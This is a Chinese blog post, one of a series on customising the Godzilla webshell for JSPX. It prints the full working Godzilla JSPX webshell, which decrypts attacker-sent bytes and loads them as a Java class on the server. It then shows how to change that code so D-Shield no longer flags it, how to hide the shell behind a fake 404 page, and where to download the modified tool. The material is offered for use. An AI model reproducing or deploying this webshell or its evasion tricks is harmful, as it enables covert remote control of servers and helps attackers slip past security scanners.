哥斯拉二开从0到1-6(jspx免杀)
前言
上面的文章做了动态的免杀,以及基于时间的密钥动态处理,计划中做一下其他语言的免杀及流量修改,本篇文章做一下jspx流量修改及免杀。
jspx简介
JSPX (JavaServer Pages XML) 是一种基于 XML 语法的 JSP(JavaServer Pages)格式。它将 JSP 与 XML 的严格语法规则结合,确保页面中的所有标签都符合 XML 的结构要求。通过使用 JSPX,开发人员可以得到一个符合 XML 规范的页面,这在某些情况下非常重要,例如处理 XML 数据或需要与其他 XML 系统进行集成时。JSPX 就是 JSP 的 XML 版本,主要区别在于 XML 的严格语法要求。
看起来是aspx和asmx的关系差不多。就是XML版本的。
jspx免杀
我们先来看一下Godzilla的jspx生成原版木马
1 | <jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2"><jsp:declaration> String xc="3c6e0b8a9c15224a"; String pass="pass"; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e2) {}}return value; }</jsp:declaration><jsp:scriptlet>try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters",data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){} |
也是非常的长,其中非常长的就是base64的编解码,做了很多判断。
简单看下代码会发现其实和jsp代码大差不差。几乎一样,除了格式有点偏差,那么我们做免杀就可以照着以前写的文章去修改了。
使用原版的godzilla中,我们会发现,加密器并有jspx的,这里直接使用java的就行,用起来一样。
简单先用d盾fuzz一下,还是发现aes加密处做了检测,
javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES"); c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES")); return c.doFinal(s);
就是这一句,我们对这个进行简单修改
1 | String xo = "javax.crypto.Cipher"; |
当然,这个时候还是有问题的,就是加载base64编解码那里。文章3免杀的时候已经提到过了,笔者这里直接把jsp的拿过来。
1 | public static String base64Encode(byte[] webray) throws Exception { |
然后就是用于获取当前类的类加载器this.getClass().getClassLoader()
这个语句d盾也杀,我们给他换掉ClassLoader.getSystemClassLoader()
这样就降级了
2级,经过笔者在fuzz,Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(arrOut);f.equals(pageContext);
问题出现在.newInstance();
但是在哥斯拉二开从0到1-2免杀的文章中,笔者测试的jsp免杀,并没有对这一点进行查杀。所以肯定还是哪里有问题出现在下面最后一段里。因为jsp和jspx的木马都差不多,
1 | <jsp:scriptlet>try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters",data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){} |
这里.newInstance();如果没问题,大概率是<jsp:scriptlet>
这种声明有问题了。
参考大师傅文章https://yzddmr6.com/posts/jsp-webshell-upload-bypass/ 可以发现,其中jsp:scriptlet可以将jsp换掉的。换成任意字符都可以。这里也可以怀疑是d盾检测了jsp字符串,确实挺可疑的。
这样就过掉d盾了。接下来再将其他的细节优化一下。没用的空格,字符串去掉即可。
好的,用一点时间,把木马放到模板里。
编译打包,
大家记得使用的时候选这个jspx的
选择jspx的。照例生成三个
传上去 访问一下
这里笔者也做了404的🐎,这个404显示正常的,文件存在的。
火狐
tomcat 如果不存在的文件,返回应该是下面这样的
大家连接的时候选择JAVA_AES_BASE64_DATA_JSPX
看下流量,也没啥问题,返回码是404。LF/IpkPvM0iJI4wmpBs2DaoBVvcbDMpwuL7nYS3n/k4=
大家看到这个是不是很熟悉,这个是大家用了默认key加密得来的test结果。很容易被识别。建议大家在使用的时候千万不要使用默认pass和key。
好,在看一下微步,也没啥问题。其他的就不测了。这样jspx的也改完了。
总结
本文对godzilla中jspx木马进行免杀,及流量修改进行简单免杀,将免杀木马封装到godzilla中,使用模板进行免杀,达到每次生成的木马都不相同。
下个版本
1.1版本添加木马的免杀,全语言都做好了,但是并没有改流量以及加密方式,只是做了伪装。
1.2版本做了动态密钥。
1.3版本做了左右动态添加数据,
1.4版本做了asmx动态免杀及流量修改。
1.5版本做了jspx动态免杀及流量修改。
后面需要做的:修改一下加密方式,这样的话会更好一点。还有就是data其实是固定的,希望能让他动起来。
下载、使用
什么,你说看不明白、不想动手、太麻烦,没事,去下载就可以了。
https://github.com/Bohemiana/godzilla_erkai
致谢
最后感谢您读到现在,这篇文章匆忙构成肯定有不周到或描述不正确的地方,期待业界师傅们用各种方式指正勘误。
参考
1 | https://github.com/BeichenDream/Godzilla 原版哥斯拉 |
emmm 太菜了
一直在路上